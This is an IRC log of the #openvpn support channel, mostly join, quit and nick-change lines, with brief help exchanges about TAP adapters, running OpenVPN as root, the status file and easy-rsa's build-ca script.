06:42 < rapha> ah ip forwarding was missing and that rule wasn't working
06:42 < rapha> thank you
06:42 -!- rapha [~rapha@unaffiliated/rapha] has left #openvpn ["bye"]
06:47 -!- NET||abuse [~luke@86.6.148.64] has quit [Ping timeout: 252 seconds]
06:48 -!- Denial [Denial@90.206.229.86] has quit [Ping timeout: 268 seconds]
06:49 -!- Denial [Denial@90.206.131.164] has joined #openvpn
06:51 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
06:53 -!- suprMan` [~clark_ken@109.63.110.144] has joined #openvpn
06:53 < suprMan`> dir
06:57 -!- Denial [Denial@90.206.131.164] has quit [Ping timeout: 268 seconds]
06:59 -!- elfixit [~Icedove@151-228.197-178.cust.bluewin.ch] has quit [Ping timeout: 245 seconds]
07:00 -!- Denial [Denial@90.207.195.35] has joined #openvpn
07:09 -!- Denial [Denial@90.207.195.35] has quit [Ping timeout: 240 seconds]
07:11 -!- Denial [Denial@94.7.211.126] has joined #openvpn
07:12 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 245 seconds]
07:14 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
07:18 -!- Denial [Denial@94.7.211.126] has quit [Ping timeout: 248 seconds]
07:19 -!- wikigazer [~mpb@host109-148-176-5.range109-148.btcentralplus.com] has joined #openvpn
07:22 -!- Denial [Denial@94.9.104.239] has joined #openvpn
07:31 -!- Denial [Denial@94.9.104.239] has quit [Ping timeout: 245 seconds]
07:31 -!- DeepBlue [~deepblue@197.161.54.92] has joined #openvpn
07:33 -!- Denial [Denial@90.205.146.54] has joined #openvpn
07:33 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 245 seconds]
07:35 -!- suprMan` [~clark_ken@109.63.110.144] has quit [Ping timeout: 256 seconds]
07:35 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 248 seconds]
07:36 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:39 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
07:41 -!- Denial [Denial@90.205.146.54] has quit [Ping timeout: 245 seconds]
07:44 -!- Denial [Denial@90.201.36.141] has joined #openvpn
07:47 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:52 -!- Denial [Denial@90.201.36.141] has quit [Ping timeout: 245 seconds]
07:53 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
07:53 -!- kro[au] [~thatguy@kgovps.com] has quit [Excess Flood]
07:54 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
07:55 -!- mattock_afk is now known as mattock
07:56 -!- Denial [Denial@90.216.195.58] has joined #openvpn
07:58 -!- master_of_master [~master_of@p4FF241BF.dip0.t-ipconnect.de] has joined #openvpn
07:58 -!- master_o1_master [~master_of@p4FF24BAF.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
07:59 -!- DeepBlue [~deepblue@197.161.54.92] has quit [Remote host closed the connection]
08:03 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
08:03 -!- Denial [Denial@90.216.195.58] has quit [Ping timeout: 240 seconds]
08:06 -!- Denial [Denial@90.208.53.125] has joined #openvpn
08:13 -!- verdoc [~quassel@2605:f700:c0:1::745e:407a] has quit [Remote host closed the connection]
08:13 -!- Denial [Denial@90.208.53.125] has quit [Ping timeout: 264 seconds]
08:16 -!- Denial [Denial@90.206.160.179] has joined #openvpn
08:16 -!- suprMan` [~clark_ken@109.63.110.144] has joined #openvpn
08:17 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 240 seconds]
08:25 -!- Denial [Denial@90.206.160.179] has quit [Ping timeout: 248 seconds]
08:29 -!- Denial [Denial@97e09aac.skybroadband.com] has joined #openvpn
08:29 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
08:36 -!- Denial [Denial@97e09aac.skybroadband.com] has quit [Ping timeout: 264 seconds]
08:39 -!- verdoc [~quassel@2605:f700:c0:1::745e:407a] has joined #openvpn
08:40 -!- Denial [Denial@94.9.97.75] has joined #openvpn
08:47 -!- Denial [Denial@94.9.97.75] has quit [Ping timeout: 268 seconds]
08:50 -!- Denial [Denial@94.3.132.62] has joined #openvpn
08:51 -!- doug[home] [~dbh@ool-44c59e41.dyn.optonline.net] has quit [Quit: Lost terminal]
08:59 -!- Denial [Denial@94.3.132.62] has quit [Ping timeout: 248 seconds]
09:01 -!- Denial [Denial@94.13.231.146] has joined #openvpn
09:10 -!- Denial [Denial@94.13.231.146] has quit [Ping timeout: 240 seconds]
09:13 -!- Denial [Denial@151.224.153.154] has joined #openvpn
09:14 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
09:17 -!- suprMan` [~clark_ken@109.63.110.144] has quit [Ping timeout: 245 seconds]
09:19 -!- Denial [Denial@151.224.153.154] has quit [Ping timeout: 240 seconds]
09:23 -!- Denial [Denial@90.206.182.183] has joined #openvpn
09:25 -!- HyperGlide [~HyperGlid@218.88.44.108] has joined #openvpn
09:29 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 240 seconds]
09:31 -!- Denial [Denial@90.206.182.183] has quit [Ping timeout: 241 seconds]
09:35 -!- NET||abuse [~luke@86.6.148.64] has joined #openvpn
09:36 -!- Denial [Denial@94.15.159.210] has joined #openvpn
09:37 -!- surfmasta [~surfmasta@80.92.88.10] has quit [Read error: Operation timed out]
09:42 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
09:43 -!- Guest71568 [~quassel@vps.schoolofprivacy.eu] has joined #openvpn
09:43 -!- Denial [Denial@94.15.159.210] has quit [Ping timeout: 268 seconds]
09:45 -!- Denial [Denial@90.204.70.14] has joined #openvpn
09:54 -!- Denial [Denial@90.204.70.14] has quit [Ping timeout: 246 seconds]
09:57 -!- Denial [Denial@97e005d0.skybroadband.com] has joined #openvpn
10:01 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 246 seconds]
10:03 -!- Denial [Denial@97e005d0.skybroadband.com] has quit [Ping timeout: 245 seconds]
10:07 -!- surfmasta [~surfmasta@80.92.88.10] has joined #openvpn
10:07 -!- Denial [Denial@94.13.176.59] has joined #openvpn
10:12 -!- Jaska_ [~Q@gprs-internet-bceed4-247.dhcp.inet.fi] has joined #openvpn
10:13 < Jaska_> quick question.. running ubuntu 12.04 with openvpn-as and i keep getting error SIGTERM[soft,port-share-redirect] received, client-instance exiting'
10:13 < Jaska_> but i have no web servers running on that server
10:13 < Jaska_> PORT SHARE PROXY: connect to port-share server failed'
10:14 -!- tw [~brassica@unaffiliated/tw-nym] has joined #openvpn
10:14 < Eugennerz> !as
10:14 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
10:14 < Eugennerz> Jaska_ ^
10:15 < Jaska_> aaah.. sorry, was in hurry..
10:15 < Jaska_> though openvpn gave me problems but ill get back to you if i give up on -as ;)
10:15 < tw> How do I configure openvpn's windows client to allow connecting to multiple configs simultaneously? They work individually, but when I try to connect to both with the same client instance, it fails with "All TAP-Win32 adapters are in use"
10:16 -!- Denial [Denial@94.13.176.59] has quit [Ping timeout: 248 seconds]
10:16 <+pekster> tw: Create more TAP-Win32 adapters
10:17 <+pekster> There's a program group in the "Start Menu" to do this under 'Tap-Windows'
10:18 -!- Denial [Denial@90.207.217.7] has joined #openvpn
10:19 < tw> Hmm, tried to use the addtap.bat script, but it didn't appear to do anything.
10:19 < Eugennerz> Run As Administrator
10:19 < tw> Oh, duh. Thanks.
10:20 < tw> awesome, thank you both.
10:21 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
10:24 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 264 seconds]
10:25 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
10:27 -!- Denial [Denial@90.207.217.7] has quit [Ping timeout: 246 seconds]
10:30 -!- Denial [Denial@90.214.186.70] has joined #openvpn
10:39 -!- Denial [Denial@90.214.186.70] has quit [Ping timeout: 248 seconds]
10:40 -!- Jaska_ [~Q@gprs-internet-bceed4-247.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
10:41 -!- Denial [Denial@90.210.234.192] has joined #openvpn
10:43 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
10:50 -!- Denial [Denial@90.210.234.192] has quit [Ping timeout: 245 seconds]
10:53 -!- Denial [Denial@90.218.168.39] has joined #openvpn
10:55 -!- kirin` [telex@gateway/shell/anapnea.net/x-pxayquouinqqfcww] has quit [Ping timeout: 268 seconds]
10:56 -!- kirin` [telex@gateway/shell/anapnea.net/x-inrwuppmdkahhyna] has joined #openvpn
10:58 -!- cconstantine_ [~cconstant@50-0-241-181.dedicated.static.sonic.net] has joined #openvpn
11:00 -!- Denial [Denial@90.218.168.39] has quit [Ping timeout: 264 seconds]
11:01 -!- gardar [~gardar@gardar.net] has quit [Remote host closed the connection]
11:03 -!- Denial [Denial@90.203.130.241] has joined #openvpn
11:05 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:11 -!- Denial [Denial@90.203.130.241] has quit [Ping timeout: 241 seconds]
11:14 -!- Denial [Denial@90.214.193.195] has joined #openvpn
11:16 -!- tharkun [~0@unaffiliated/tharkun] has quit [Ping timeout: 245 seconds]
11:17 -!- tharkun [~0@187.188.94.182] has joined #openvpn
11:21 -!- Denial- [Denial@97e0b17b.skybroadband.com] has joined #openvpn
11:21 -!- Denial [Denial@90.214.193.195] has quit [Ping timeout: 240 seconds]
11:21 -!- Denial- is now known as Denial
11:26 -!- Denial [Denial@97e0b17b.skybroadband.com] has quit [Ping timeout: 246 seconds]
11:27 -!- p3rror [~p3rror@41.249.253.52] has quit [Remote host closed the connection]
11:29 -!- Denial [Denial@97e09f2e.skybroadband.com] has joined #openvpn
11:32 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
11:33 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Read error: Connection reset by peer]
11:33 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
11:40 -!- Denial [Denial@97e09f2e.skybroadband.com] has quit [Ping timeout: 245 seconds]
11:43 -!- Denial [Denial@90.208.179.224] has joined #openvpn
11:48 -!- HyperGlide [~HyperGlid@218.88.44.108] has quit [Remote host closed the connection]
11:49 -!- HyperGlide [~HyperGlid@218.88.44.108] has joined #openvpn
11:53 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-tqjabysmamljqwvb] has joined #openvpn
11:53 -!- Denial [Denial@90.208.179.224] has quit [Ping timeout: 245 seconds]
11:56 -!- Denial [Denial@90.204.106.93] has joined #openvpn
11:57 -!- HyperGlide [~HyperGlid@218.88.44.108] has quit [Remote host closed the connection]
11:58 -!- qwertyoruiop is now known as haifisch
11:58 -!- HyperGlide [~HyperGlid@218.88.44.108] has joined #openvpn
11:58 -!- haifisch is now known as Haifisch
11:59 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:00 -!- Haifisch is now known as wlnocm
12:01 -!- wlnocm is now known as qwertyoruiop
12:02 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
12:07 -!- Denial [Denial@90.204.106.93] has quit [Ping timeout: 248 seconds]
12:10 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
12:10 -!- Denial [Denial@90.216.209.93] has joined #openvpn
12:30 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
12:34 -!- nosuid [~nosuid@gateway/tor-sasl/nosuid] has joined #openvpn
12:35 -!- dfresha is now known as krapper
12:35 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
12:51 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
12:52 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-tqjabysmamljqwvb] has quit [Quit: Leaving]
12:53 -!- gardar [~gardar@gardar.net] has joined #openvpn
13:00 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Read error: Connection reset by peer]
13:06 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has joined #openvpn
13:06 -!- nosuid [~nosuid@gateway/tor-sasl/nosuid] has quit [Remote host closed the connection]
13:11 -!- jirido [~Dodji@gprs-internet-bcee83-202.dhcp.inet.fi] has joined #openvpn
13:22 < jirido> Hi. I'm not a native English speaker. I have problem conecting true a 3g dongle and ppp on lubuntu. It seems to me like openvpn cant find the device. it says: Note: Cannot ioctl TUNSETIFF tun1: Operation not permitted (errno=1).. and :SIOCSIFADDR: Permission denied
13:22 < jirido> : ERROR while getting interface flags: No such device
13:22 < jirido> Can you recomend some reading?
13:23 < jirido> i try
13:24 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
13:25 <+pekster> jirido: OpenVPN doesn't use your ppp device. Sounds like you aren't running openvpn as root. OpenVPN needs root to create/use the tun device
13:26 < jirido> ofcource!
13:32 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Quit: elfixit]
13:32 -!- jirido [~Dodji@gprs-internet-bcee83-202.dhcp.inet.fi] has quit [Ping timeout: 268 seconds]
13:41 < Fohlen> god openvpn
13:41 < Fohlen> you guys save my life
13:43 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Read error: Connection reset by peer]
13:43 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
13:51 -!- fellayaboy [~fellayabo@unaffiliated/fellayaboy] has joined #openvpn
13:51 < fellayaboy> can openvpn client run off a usb stick?
13:52 -!- HyperGlide [~HyperGlid@218.88.44.108] has quit [Remote host closed the connection]
13:52 -!- penth [~rachel@c-68-81-92-61.hsd1.pa.comcast.net] has joined #openvpn
13:52 -!- HyperGlide [~HyperGlid@218.88.44.108] has joined #openvpn
13:54 < penth> Is there any good way to monitor connections on the command line besides (sudo) watch cat /var/log/openvpn/status ?
13:54 -!- Denial [Denial@90.216.209.93] has quit []
13:55 -!- jirido [~Dodji@gprs-internet-bcee93-209.dhcp.inet.fi] has joined #openvpn
13:59 <+pekster> penth: See --status. Also, don't abuse cat like that; read about the `tail` command if you want to fllow logs
14:00 < jirido> pekster, Might i ask you if it is so that vpn can disturb dns? when i activate openvpn with configfile from vpnbook.com dns work very bad. pastebin.com/QJSQfmUf
14:01 <+pekster> Oh, if you're using the status, then yes, that's how you'd "monitor" it -- maybe you want to dynamically log connections to a file similar to your OS auth logs?
14:01 < penth> pekster, /var/log/openvpn/status is not a normal rolling log that works with tail -f
14:01 <+pekster> penth: Right, I mis-read that as your openvpn logs, not the status
14:01 < penth> Yeah, I can get that one by tailing daemon.log with grep pluto :)  Just wondering if there was a cleaner or more canonical solution
14:02 <+pekster> jirido: "disturb?" Read about !pushdns. We do *not* support providers here, only usage of openvpn
14:02 -!- fellayaboy [~fellayabo@unaffiliated/fellayaboy] has left #openvpn ["Leaving"]
14:03 <+pekster> penth: Solution to *what*? You just what to spit out connected users to your console? If so, yes, use the status file. If you want actual proper logs of connections/disconnections, use a script that does it
14:04 <+pekster> !ping
14:04  * pekster kicks vpnHelper's lazyness to ecrist
14:04 <@vpnHelper> pong
14:05 <+pekster> ecrist: Well, not lazy I guess. RTT of 35 seconds (!) to reply though
14:05 < penth> Sorry, using "solution" in the corporate way as a synonym for "answer" or "method"
14:05 <+pekster> Solution to *WHAT* ?
14:06 <+pekster> You still haven't said what you want other than "spew out a list of connected clients to a console" -- is that really the corporate solution you wanted? :P
14:06 <+pekster> If this is your end-goal, --status does exactly what you're asking for
14:07 < penth> No, all I want is to spew the list. So watching the existing the status file was already the answer. I was just asking whether there was a better one.
14:07 < penth> s/existing the/existing/
14:07 <+pekster> If you want an "auth.log" style log you can tail (one-line-per-connect) see some POSIX shell code here:
14:07 <+pekster> !accounting
14:08 <@vpnHelper> "accounting" is Some shell code for basic user accounting on connect/disconnect: https://github.com/QueuingKoala/openvpn-dynamic/tree/master/user-accounting
14:19 -!- jirido [~Dodji@gprs-internet-bcee93-209.dhcp.inet.fi] has quit [Ping timeout: 268 seconds]
14:23 -!- jirido [~Dodji@gprs-internet-bcee93-209.dhcp.inet.fi] has joined #openvpn
14:29 -!- mattock is now known as mattock_afk
14:29 -!- jirido [~Dodji@gprs-internet-bcee93-209.dhcp.inet.fi] has quit [Ping timeout: 248 seconds]
14:33 -!- Poster|x [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
14:35 -!- jirido [~Dodji@gprs-internet-bcee93-209.dhcp.inet.fi] has joined #openvpn
14:36 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Ping timeout: 245 seconds]
14:37 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Read error: Operation timed out]
14:40 -!- jirido [~Dodji@gprs-internet-bcee93-209.dhcp.inet.fi] has quit [Ping timeout: 240 seconds]
14:41 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
14:50 <@ecrist> !ping
14:50 <@vpnHelper> pong
14:50 <@ecrist> !ping
14:50 <@ecrist> !ping
14:50 <@vpnHelper> pong
14:50 <@vpnHelper> pong
14:51 -!- Riiiis [~Username@static-5-103-128-119.seas-nve.net] has quit [Ping timeout: 246 seconds]
14:52 -!- Riiiis [~Username@static-5-103-128-119.seas-nve.net] has joined #openvpn
15:20 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 268 seconds]
15:21 -!- klein [~klein@unaffiliated/klein] has quit [Read error: Connection reset by peer]
15:23 < mist_> !ping
15:23 <@vpnHelper> pong
15:23 < mist_> !help
15:23 <@vpnHelper> (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin.
15:24 < mist_> !help me now
15:24 <@vpnHelper> Error: There is no command "me now".
15:24 < mist_> !alone
15:24 < mist_> :'(
15:37 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
15:46 -!- aitiba [~aitiba@214.219.16.95.dynamic.jazztel.es] has joined #openvpn
15:46 < aitiba> hi
15:46 < aitiba> ¿someone know where is build-ca located on debian please?
15:47 <+pekster> aitiba, see:
15:47 <+pekster> !easyrsa
15:47 <@vpnHelper> "easyrsa" is (#1) "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads or (#3) Download easy-rsa from git hub at https://github.com/OpenVPN/easy-rsa or (#2) git-master is recommended due to security improvements (commit ff5bfd1dd8)
15:47 < aitiba> I thint that build-ca is a part of openvpn
15:47 <+pekster> No, Easy-RSA is no longer part of openvpn as of the 2.3 series
15:48 < aitiba> so is  part of easyrsa ¿right?
15:48 <+pekster> Some distros still package it together, but they're separately tracked source projects now
15:48 <+pekster> No, it is not
15:48 <+pekster> Oh, sorry, "easyrsa", yes
15:49 <+pekster> Once you extract easy-rsa, you will have the build-ca (and all the other scripts/symlinks) provided by easy-rsa
15:51 < aitiba> the build-ca is on easy-rsa / easy-rsa / 2.0 of easy-rsa package right?
15:52 < aitiba> Pei:
15:52 < aitiba> pekster:
15:53 < aitiba> thanks pekster
15:55 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Read error: Connection reset by peer]
15:55 -!- aitiba [~aitiba@214.219.16.95.dynamic.jazztel.es] has quit [Remote host closed the connection]
15:57 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:06 -!- trumee [~parul@93.186.147.20] has quit [Ping timeout: 260 seconds]
16:10 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Ping timeout: 245 seconds]
16:13 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Quit: Leaving]
16:21 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
16:21 -!- atmosx [~me@gateway/tor-sasl/atmosx] has quit [Quit: WeeChat 0.4.2-dev]
16:26 -!- trumee [~parul@93.186.147.20] has joined #openvpn
16:28 -!- pfoo_ [~pfoo@117-a7-s0.oni.unscdf.eu] has joined #openvpn
16:29 -!- Jaska__ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
16:29 -!- HyperGli_ [~HyperGlid@218.88.44.108] has joined #openvpn
16:30 -!- Cybert1nus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
16:30 -!- moparisthebest_ [~quassel@mailer.moparscape.org] has joined #openvpn
16:31 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Disconnected by services]
16:32 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
16:34 -!- P4k3_ [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has joined #openvpn
16:34 -!- tapout [~tapout@unaffiliated/tapout] has quit [Ping timeout: 245 seconds]
16:34 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 245 seconds]
16:34 -!- vertigo- [bleach@2604:180::f476:be4f] has quit [Ping timeout: 245 seconds]
16:34 -!- P4k3 [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has quit [Ping timeout: 245 seconds]
16:34 -!- HyperGlide [~HyperGlid@218.88.44.108] has quit [Ping timeout: 245 seconds]
16:34 -!- TypoNe [~itsme@195.197.184.87] has quit [Ping timeout: 245 seconds]
16:34 -!- NET||abuse [~luke@86.6.148.64] has quit [Ping timeout: 245 seconds]
16:34 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 245 seconds]
16:34 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Ping timeout: 245 seconds]
16:34 -!- pfoo [~pfoo@unaffiliated/pfoo] has quit [Ping timeout: 245 seconds]
16:34 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Ping timeout: 245 seconds]
16:34 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 245 seconds]
16:34 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Ping timeout: 245 seconds]
16:34 -!- P4k3_ is now known as P4k3
16:35 -!- vertigo- [bleach@2604:180::f476:be4f] has joined #openvpn
16:35 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
16:35 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
16:35 -!- tapout [~tapout@unaffiliated/tapout] has joined #openvpn
16:35 -!- NET||abuse [~luke@86.6.148.64] has joined #openvpn
16:36 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
16:38 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
16:41 -!- aitiba_ [~aitiba@214.219.16.95.dynamic.jazztel.es] has joined #openvpn
16:41 < aitiba_> hi another time
16:42 < aitiba_> I download easyrsa from github
16:42 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
16:42 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
16:43 < aitiba_> I go to  easy-rsa / 1.0 and there I type "build-ca"
16:43 < aitiba_> and I get you must define KEY_DIR
16:43 < aitiba_> I have vars file as default
16:43 < aitiba_> ¿how can I fix this error?
16:48 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:51 -!- wikigazer [~mpb@host109-148-176-5.range109-148.btcentralplus.com] has quit [Ping timeout: 245 seconds]
16:52 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Read error: Connection reset by peer]
16:52 -!- qwertyoruiop is now known as pirateat40
16:52 -!- pirateat40 is now known as qwertyoruiop
16:53 < aitiba_> I would need to make . vars
16:53 -!- aitiba_ [~aitiba@214.219.16.95.dynamic.jazztel.es] has quit [Remote host closed the connection]
17:10 -!- maskedlua_ [~quassel@unaffiliated/themaskedlua] has joined #openvpn
17:10 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Ping timeout: 248 seconds]
17:12 -!- qwertyoruiop is now known as FriendlyChemist
17:12 -!- FriendlyChemist is now known as qwertyoruiop
17:17 -!- qwertyoruiop is now known as RossUlbricht
17:22 -!- RossUlbricht is now known as qwertyoruiop
17:45 -!- nutron [~nutron@unaffiliated/nutron] has quit [Remote host closed the connection]
17:49 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
17:51 -!- HyperGli_ [~HyperGlid@218.88.44.108] has quit [Remote host closed the connection]
17:52 -!- HyperGlide [~HyperGlid@218.88.44.108] has joined #openvpn
18:33 -!- HyperGlide [~HyperGlid@218.88.44.108] has quit [Remote host closed the connection]
18:34 -!- HyperGlide [~HyperGlid@218.88.44.108] has joined #openvpn
18:45 -!- HyperGlide [~HyperGlid@218.88.44.108] has quit [Remote host closed the connection]
18:46 -!- HyperGlide [~HyperGlid@218.88.44.108] has joined #openvpn
18:58 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Remote host closed the connection]
19:05 -!- maskedlua_ is now known as maskedlua
19:06 -!- maskedlua is now known as maskedc
19:07 -!- maskedc is now known as maskedlua
19:35 -!- cconstantine_ [~cconstant@50-0-241-181.dedicated.static.sonic.net] has quit [Ping timeout: 240 seconds]
19:41 -!- pfoo [~pfoo@117-a7-s0.oni.unscdf.eu] has joined #openvpn
19:41 -!- pfoo [~pfoo@117-a7-s0.oni.unscdf.eu] has quit [Changing host]
19:41 -!- pfoo [~pfoo@unaffiliated/pfoo] has joined #openvpn
19:41 -!- pfoo_ [~pfoo@117-a7-s0.oni.unscdf.eu] has quit [Ping timeout: 264 seconds]
19:43 -!- maskedlua is now known as maskedlisp
19:43 -!- maskedlisp is now known as maskedlua
19:44 -!- maskedlua is now known as maskedsmalltalk
19:44 -!- maskedsmalltalk is now known as maskedlua
19:45 -!- maskedlua is now known as maskedprogrammer
19:46 -!- maskedprogrammer is now known as maskedlua
19:51 -!- HyperGlide [~HyperGlid@218.88.44.108] has quit [Remote host closed the connection]
19:51 -!- HyperGlide [~HyperGlid@218.88.44.108] has joined #openvpn
20:00 -!- HyperGlide [~HyperGlid@218.88.44.108] has quit [Remote host closed the connection]
20:00 -!- HyperGlide [~HyperGlid@218.88.44.108] has joined #openvpn
20:13 -!- elfixit [~Icedove@80-236.197-178.cust.bluewin.ch] has joined #openvpn
20:13 -!- HyperGlide [~HyperGlid@218.88.44.108] has quit [Remote host closed the connection]
20:14 -!- HyperGlide [~HyperGlid@218.88.44.108] has joined #openvpn
20:19 -!- raidz is now known as raidz_away
20:22 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
20:35 -!- HyperGlide [~HyperGlid@218.88.44.108] has quit [Remote host closed the connection]
20:35 -!- HyperGlide [~HyperGlid@218.88.44.108] has joined #openvpn
20:43 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
20:54 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:13 -!- HyperGlide [~HyperGlid@218.88.44.108] has quit [Remote host closed the connection]
21:14 -!- HyperGlide [~HyperGlid@218.88.44.108] has joined #openvpn
21:34 -!- Devastator_ [~devas@186.214.110.101] has joined #openvpn
21:36 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
21:48 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
21:49 -!- HyperGlide [~HyperGlid@218.88.44.108] has quit [Remote host closed the connection]
21:50 -!- HyperGlide [~HyperGlid@218.88.44.108] has joined #openvpn
21:52 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 246 seconds]
21:54 -!- Devastator_ [~devas@186.214.110.101] has quit [Changing host]
21:54 -!- Devastator_ [~devas@unaffiliated/devastator] has joined #openvpn
21:54 -!- Devastator_ is now known as Devastator
21:56 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Quit: Leaving]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:16 -!- HyperGlide [~HyperGlid@218.88.44.108] has quit [Remote host closed the connection]
22:17 -!- HyperGlide [~HyperGlid@218.88.44.108] has joined #openvpn
22:25 -!- elfixit [~Icedove@80-236.197-178.cust.bluewin.ch] has quit [Quit: elfixit]
22:32 -!- HyperGlide [~HyperGlid@218.88.44.108] has quit [Remote host closed the connection]
22:32 -!- HyperGlide [~HyperGlid@218.88.44.108] has joined #openvpn
22:43 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
22:51 -!- HyperGlide [~HyperGlid@218.88.44.108] has quit [Remote host closed the connection]
22:51 -!- HyperGlide [~HyperGlid@218.88.44.108] has joined #openvpn
23:01 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
23:02 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
23:05 -!- HyperGlide [~HyperGlid@218.88.44.108] has quit [Remote host closed the connection]
23:06 -!- HyperGlide [~HyperGlid@218.88.44.108] has joined #openvpn
